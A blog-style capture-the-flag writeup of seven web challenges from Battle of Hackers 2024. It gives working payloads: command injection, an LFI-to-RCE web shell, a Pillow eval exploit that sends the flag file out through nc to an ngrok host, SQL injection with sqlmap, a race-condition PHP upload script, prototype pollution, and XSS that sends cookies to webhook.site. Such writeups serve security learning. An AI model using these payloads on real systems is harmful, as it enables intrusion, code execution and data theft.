Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Battle of Hackers 2024 (BOH/IBOH 2024) Local Category - Web Writeup

Introduction


Hewwo every-nyan, it’s been awhile since I’ve written a blog post for a CTF. This year, my team and I were lucky enough to still be able to play in Battle of Hackers 2024 (IBOH 2024) CTF again (still haven’t graduated)! Though we only played online this year, because we all love the comfort of home

Overall, I have to say the challenges were quite tough but of really good quality. None felt guessy, at least to me. It was a pure skill issue, honestly. I struggled a lot with categories like PWN, RE, Crypto, Forensics, and OSINT (can never do OSINT lol).

The best category for me, though, was Web (can only do web 🤡). I enjoyed the Web challenges so, so much because they included source code, which is something I think local CTFs in Malaysia often lack. Also, there was a client-side challenge this time! It was a good day for web players.

Huge thanks to the organizers for creating such great challenges! Each one was well thought out and really made us think. IBOH 2024 had some of the best challenges we’ve seen in a local student CTF for this year so far, and we had a lot of fun working through them. We appreciate all the effort that went into making this event happen!

Image in a image block
Yay second place!. Last BOH for our team most likely.
Image in a image block
All web cleared!

Challenges


For the first three challenges, I am providing very short and straight-to-the-point solutions. No pictures are included since the server hosting these challenges is no longer online.

Echoes of the System

For this challenge, it is a classic command injection challenge. The filter seems to be blocking a lot of common eywords such as cat , flag and few others.

Final Payload

"ca"t fla*
Flag: IBOH24{G3T_DaA8880948_F1aG}
Kelvin Diner

Traversing through the pages, we see an endpoint to do an LFI (Local File Inclusion). Through that endpoint I tested by reading /etc/passwd and it works!

Next what I did is to gain RCE (Remote Code Execution) through LFI by using this PHP filter chain method.

python3 script.py --chain '<?php system($_GET["cmd"]); ?>'

Final thing I did was reading secret.php and I got the flag!

?cmd=cat%20..%2fsecret.php
Flag: IBOH24{k3lv1n_f0rg0t_t0_p3nt3st_h1s_w3bs1te}
Warmup

For this challenge we were given a code like below.

if (isset($_GET['warmup'])) {
    $string1 = $_GET['warmup'];  // This is the input from the user.
    echo $string1;
    
    $string2 = 'warmupisessential';  // This is the string that will be replaced.
    
    // Remove all occurrences of 'warmupisessential' from $string1.
    $string3 = preg_replace("/$string2/", '', $string1);  
    echo $string3;

    // If after the replacement, the result is still 'warmupisessential', trigger the function.
    if ($string3 === $string2) {
        warmup_fucntion();  // flag
    }
}

We need to make sure the output is equal to warmupisessential after all the cleaning is done.

preg_replace() will remove all occurrences of 'warmupisessential'

We can just separate them and put the filtered word in the midde together (hopefully what I am saying makes any sense) which should looks like this

warmupwarmupisessentialisessential

If we do this, preg_replace() will then remove warmupisessential in the middle , leaving only this

warmupisessential

And finally, we can easily get the flag!

/warmup.php?warmup=warmupwarmupisessentialisessential
Flag: IBOH24{5e83215e5db52738f7699a3c5d94702c}
King

For this challenge we were given a website which allows us to upload any image. We were also given the source of the web.

Image in a image block

The only interesting part of the code was /api/alphafy which runs when we send our image to the web.

@api.route('/alphafy', methods=['POST'])
def alphafy():
	if not request.is_json or 'image' not in request.json:
		return abort(400)

	return make_alpha(request.json)

The make_alpha() function seems to be doing some image manipulation and returning the response back to base64.

#..... some other stuff above				
        # Merging the bands to create a new image
        new_image = Image.merge('RGBA', new_bands)
        background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
        background.paste(new_image.convert('RGB'), mask=new_image)

        # Saving the new image to a buffer
        buffer = BytesIO()
        new_image.save(buffer, format='PNG')

        # Returning the processed image
        return {
            'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
        }, 200

The most interesting part of the code is that it is using ImageMath.eval(), which had a CVE related to this previously.

Looking at the version, it seems to be affected.

Pillow==8.4.0

Now it’s pretty easy to solve the challenge! Just get code execution and send us the flag :D

King Solution

Simple solution to this is just to put the payload in background. In this payload, I am sending the file through nc hosted to my ngrok.

"image" : "stuff",
"background":[
"eval(\"__import__('os').system('cat /flag.txt | nc 0.tcp.ap.ngrok.io 11423')\")",
255,
255,
255]

Re-send the request to /api/alphafy with the payload above. After preparing and waiting a little bit to receive the flag on my machine listener, I finally got the flag!

Flag: IBOH24{Wh0_is_Tha_G0AT=DARTH_VAd3r}
Kachow

In this challenge, we were given source code of the challenge. The initial login page looks like this.

Image in a image block

There is also register.php inside the source code which is useful for us to have a user.

Registering and logging into the website, there’s few features. The most interesting ones are search and upload. Though, the upload function is limited to only Admin.

Image in a image block

Looking into the search function, we can see that the code is vulnerable to SQL Injection. This filter can be bypassed easily by using SQL syntax with random case. For example, SeLeCt works here, because most SQL Databases are case-insensitive.

$searchResults = '';
$keywords = ['union', 'UNION', 'select', 'SELECT', 'from', 'FROM', 'and', 'AND', 'like', 'LIKE', '*', '/'];

function check_WAF($data, $keywords) {
    foreach ($keywords as $keyword) {
        if (strpos($data, $keyword) !== false) { 
            return true; 
        }
    }
    return false; 
}

Looking into upload function, it seems like the file is being sanitized and filtered. Only .pdf, docx and doc files are allowed. The sanitizaton seems quite strong here.

    if ($fileError === 0 && $fileSize < 5000000) {
        $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
        $fileNameSanitized = preg_replace('/[^a-zA-Z0-9\-\_\.]/', '', $fileName);
        $fileDestination = 'uploads/' . $fileNameSanitized;
        move_uploaded_file($fileTmpName, $fileDestination);

        $allowedExtensions = ['pdf', 'docx', 'doc'];
        $allowedMagicNumbers = [
            'pdf' => '25504446',
            'docx' => '504b0304',
            'doc' => 'd0cf11e0'
        ];
        $fileContent = file_get_contents($fileDestination);
        $fileMagicNumber = bin2hex(substr($fileContent, 0, 4));

        $isValidExtension = in_array($fileExt, $allowedExtensions);
        $isValidMagicNumber = isset($allowedMagicNumbers[$fileExt]) && $fileMagicNumber === $allowedMagicNumbers[$fileExt];

        usleep(500000);
        if (!$isValidExtension || !$isValidMagicNumber) {
            $message = $isValidExtension ? "Invalid file signature." : "Invalid file extension.";
            unlink($fileDestination);
        } else {
            $message = "File uploaded successfully!";
        }
    } else {
        $message = "Error uploading file due to size or upload error!";
    }

Though there’s a logic flaw in this upload code above.

As we can see, the file is being uploaded first, and only after that it is sanitized. This could result in race condition if we try to read the file quick enough!

move_uploaded_file($fileTmpName, $fileDestination);

usleep(500000); //this sleep makes it even obvious/easier
if (!$isValidExtension || !$isValidMagicNumber) {
$message = $isValidExtension ? "Invalid file signature." : "Invalid file extension.";
            unlink($fileDestination);
} else {  
    $message = "File uploaded successfully!";
}
💡
In this case of race condition, we are able to read/execute the PHP file before it was deleted.

Kachow Solution

The correct flow would be:

Get admin user using SQL Injection > Upload file race condition > Read flag

For the SQL Injection, to save time I just used SQLMap with a tamper.

sqlmap -r request.txt --tamper=randomcase --level 3 --risk 3 --dbms=mysql --dump

Dumping the db, you will get the admin hash.

Note: This is just for writeup purpose, the password is different during the CTF time.

Image in a image block

Crack the hash using https://crackstation.net/, and you should be able to get a password to login as admin.

Once you’re logged in as admin, now is the time to do the upload file race condition and try to read the flag! Building a script here is necessary, unless you have very fast hands.

Solve script

import requests
import threading

# URL and file details
upload_url = 'https://web.kachow-distributed.orb.local/fileupload.php'
read_url = 'https://web.kachow-distributed.orb.local/uploads/night.php'
cookies = {'PHPSESSID': 'dhrknoeaqjvc8cbb3g6lu0d971'}
file_content = "<?php echo system('cat /flag/flag.txt'); ?>" 

# Upload function
def upload_file():
    files = {'file': ('night.php', file_content, 'application/pdf')}
    print(f"Upload Response: {requests.post(upload_url, cookies=cookies, files=files, verify=False).status_code}")

# Read function
def read_file():
    while True:
        response = requests.get(read_url, cookies=cookies, verify=False)
        print(f"Read Response: {response.status_code}")
        if response.status_code == 200:
            print(f"File Content:\n{response.text}")
            break

# Create threads for uploading and reading simultaneously
for _ in range(5):
    threading.Thread(target=upload_file).start()
    threading.Thread(target=read_file).start()
Flag: IBOH24{y0u_f0und_s0m3th1ng_g00d_1n_th1s_g4rb4g3}
Pollution Donation Site

For this challenge we were given a website with Naruto bijuus and the source code of the challenge. There’s also sigin and signup here for us to get a user.

Image in a image block

With a registered user, we can see this dashboard and donate feature. You also have a balance on the page.

Image in a image block
Image in a image block

Looking into the source code, you must donate 1000 of your balance, to get the flag.

    if (amount === 20) {
        if (req.session.loggedInUser.balance >= 20) {
            await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 20 } });
            req.session.loggedInUser.balance -= 20;
            res.send(`Donated $20 to ${organization.name}. Redirecting...<script>setTimeout(() => { window.location.href = '/organizations'; }, 2000);</script>`);
        } else {
            res.status(400).send('Insufficient balance for $20 donation');
        }
    } else if (amount === 1000) {
        if (req.session.loggedInUser.balance >= 1000) {
            await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 1000 } });
            req.session.loggedInUser.balance -= 1000;
    
            // Read flag.txt and send its contents
            const fs = require('fs');
            fs.readFile('flag.txt', 'utf8', (err, data) => {
                if (err) {
                    console.error(err);
                    res.status(500).send('Error reading flag file');
                } else {
                    res.send(`Super DONATE! Thank you for your generous $1000 donation! Flag: ${data}`);
                }
            });
        } else {
            res.status(400).send('Insufficient balance for $1000 donation');
        }
    }
// the code responsible for showing the flag
else if (amount === 1000) {
        if (req.session.loggedInUser.balance >= 1000) {
            await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 1000 } });
            req.session.loggedInUser.balance -= 1000;
    
            // Read flag.txt and send its contents
            const fs = require('fs');
            fs.readFile('flag.txt', 'utf8', (err, data) => {
                if (err) {
                    console.error(err);
                    res.status(500).send('Error reading flag file');
                } else {
                    res.send(`Super DONATE! Thank you for your generous $1000 donation! Flag: ${data}`);
                }
            });
        }
    }

But how? We only have an initial balance of 100.

Looking deeper into the source code, we can see that the admin role is allowed to add money to their balance through this /addbalance endpoint.

app.post('/addBalance', async (req, res) => {
    try {
        if (!req.session.isAuth) {
            throw new Error('User session not found');
        }
        if (!req.session.isAdmin) {
            throw new Error('User is not admin');
        } else {
            console.log("user is admin")
            req.session.loggedInUser.balance += req.body.money;
            await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance } });
            res.send('Money added');
            console.log('Request Body:', req.body);
        }
    } catch (error) {
        console.error('Error:', error.message);
        res.status(500).send('Internal Server Error');
    }
});

Huh? So how do we get admin then?

Well luckily for us, the title of the challenge already hints strongly on Prototype Pollution.

We can easily identify that this piece of code is a good candidate for Prototype Pollution.

    for (const [key, value] of Object.entries(req.body)) {

        if (!organizations[key]) {
            organizations[key] = JSON.parse(JSON.stringify(org));
        }

        for (const [k, v] of Object.entries(value)) {
            if (k === 'NumberOfPeopleDonated') {
                organizations[key][k] += v;
            } else {
                organizations[key][k] = v;
            }
        }
    }
Pollution Donation Site Solution

Let’s start by setting our user to admin using the Prototype Pollution. Using Prototype Pollution, we can pollute the isAdmin property and make our user an admin.

Intercept the donate endpoint, modify the request to be in JSON form, like this. Remember to set Content-Type aswell!

Image in a image block

Add __proto__ and set isAdmin to true , send the request and isAdmin will be polluted and now will be true.

Image in a image block

ℹ️
Prototype Pollution is a complex topic to understand for beginners and I would suggest to read this awesome article by Portswigger, watching videos and testing it out on your own.

Now that isAdmin is set to true, we practically have the same privileges as admin!

The final step, is to add balance, donate 1000 and you should be able to get the flag!

curl -X POST http://challengeweb.com/addBalance \
-H "Content-Type: application/json" \
-H "Cookie: connect.sid=s%3AraHLFvaYz3EURVN_yxLbBEuYAvk7Sm0U.RoyBHyw6XzQ%2FnNFXGEr5RNXi0EcrFkojumYfnt%2B6DOE" \
-d '{
  "money": 10000
}'
curl -X POST http://challengeweb.com/donate \
-H "Content-Type: application/json" \
-H "Cookie: connect.sid=s%3AraHLFvaYz3EURVN_yxLbBEuYAvk7Sm0U.RoyBHyw6XzQ%2FnNFXGEr5RNXi0EcrFkojumYfnt%2B6DOE" \
-d '{
  "organizationId": 0,
  "amount": 1000
}'
Flag: IBOH24{j4p4n_s3A_p011u710n_Go0d_0r_B4d}
Productivity

In this challenge, same as previously, we have a login and register function along with the source code.

Image in a image block

After logging in, we can find all these functions in the dashboard.

Image in a image block

Looking inside the source code, the flag is contained in the FLAG variable.

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

The FLAG variable is being used in /report endpoint passed to check_endpoint function.

@app.route("/report", methods=["GET", "POST"])
@login_required
def report():
    if request.method == "GET":
        return render_template("report.html")
    if request.method == "POST":
        param = request.form.get("param")
        if not check_endpoint(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("There seems to be something wrong!");history.go(-1);</script>'

        return '<script>alert("Report sent to admin!");history.go(-1);</script>'

The check_endpoint() looks like this, and it is linked with read_url(). This is a Selenium script which will visit the notes you give it to.

def check_endpoint(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/notes/{urllib.parse.quote(param)}"
    result = read_url(url, cookie)
    return result


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    driver = None
    try:
        service = Service(executable_path="/usr/bin/chromedriver")  
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(5)
        driver.set_page_load_timeout(5)
        
        driver = login_as_admin(driver)
        driver.get(url)
        driver.add_cookie(cookie)
        driver.get(url)

What this code above does, is that, it sets the flag as the cookie of the Selenium script to simulate a vulnerable user.

This smells like a classic XSS challenge!

Finding through the source code, we can see that the /notes endpoint is vulnerable to XSS.

@app.route('/notes/<filename>')
@login_required
def read_note(filename):
    cur = mysql.connection.cursor()

    if session['username'] == 'admin':
        cur.execute("SELECT filename, content FROM notes WHERE filename = %s", (filename,))
    else:
        cur.execute("SELECT filename, content FROM notes WHERE filename = %s AND username = %s", (filename, session['username']))
    
    note = cur.fetchone()

    if note:
        sanitized_content = sanitize_content(note['content'])
        cur.close()
        
        return render_template_string('''
            <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
                <title>{{ filename }}</title>
            </head>
            <body onload="displayNoteContent();">
                <h1>{{ filename }}</h1>
                <div id="note-display"></div>
                
                <script>
                    var note_content = `{{ sanitized_content|safe }}`;
                    
                    function displayNoteContent() {
                        note_content = note_content.replace(/\\n/g, '<br>');
                        document.getElementById('note-display').innerHTML = note_content;
                    }
                </script>
            </body>
            </html>
        ''', filename=note['filename'], sanitized_content=sanitized_content)
    else:
        cur.close()
        return "File not found or not authorized to view", 404

This particular |safe code is dangerous and it will not escape any HTML tags etc.

BLACKLIST_PHRASES = ['<script>', '</script>', '<iframe>', '</iframe>', '<img>', '</img>', 'javascript:', 'onload=', 'onerror=']

<script>
var note_content = `{{ sanitized_content|safe }}`;
                    
function displayNoteContent() {
          note_content = note_content.replace(/\\n/g, '<br>');
            document.getElementById('note-display').innerHTML = note_content;
}
</script>

Even though, it is blacklisting a lot of tags here, it is not hindering our progress at all. We can easily escape out of the backtick and execute our own XSS/JS.

Productivity Solution

Now let’s solve the challenge by popping simple XSS first!

What we need to do is upload a note file which contains our XSS payload!

We can easily escape out of the backtick by using a payload like this

`;alert(1)//


and you’ll pop an easy XSS

Image in a image block

Now the final part to get the flag, is to put XSS payload which will steal a cookie and redirect to an OOB site. I used webhook.site here. This is my final payload.

`;location='https://webhook.site/?c='+document.cookie//

Final part is to report the filename of the note.

Image in a image block

Hit report, you should be able to get the flag in your webhook.

Image in a image block
Flag: IBOH24{y3t_4n0th3r_typ1c4l_but_n0t_so_typic4l_XSS}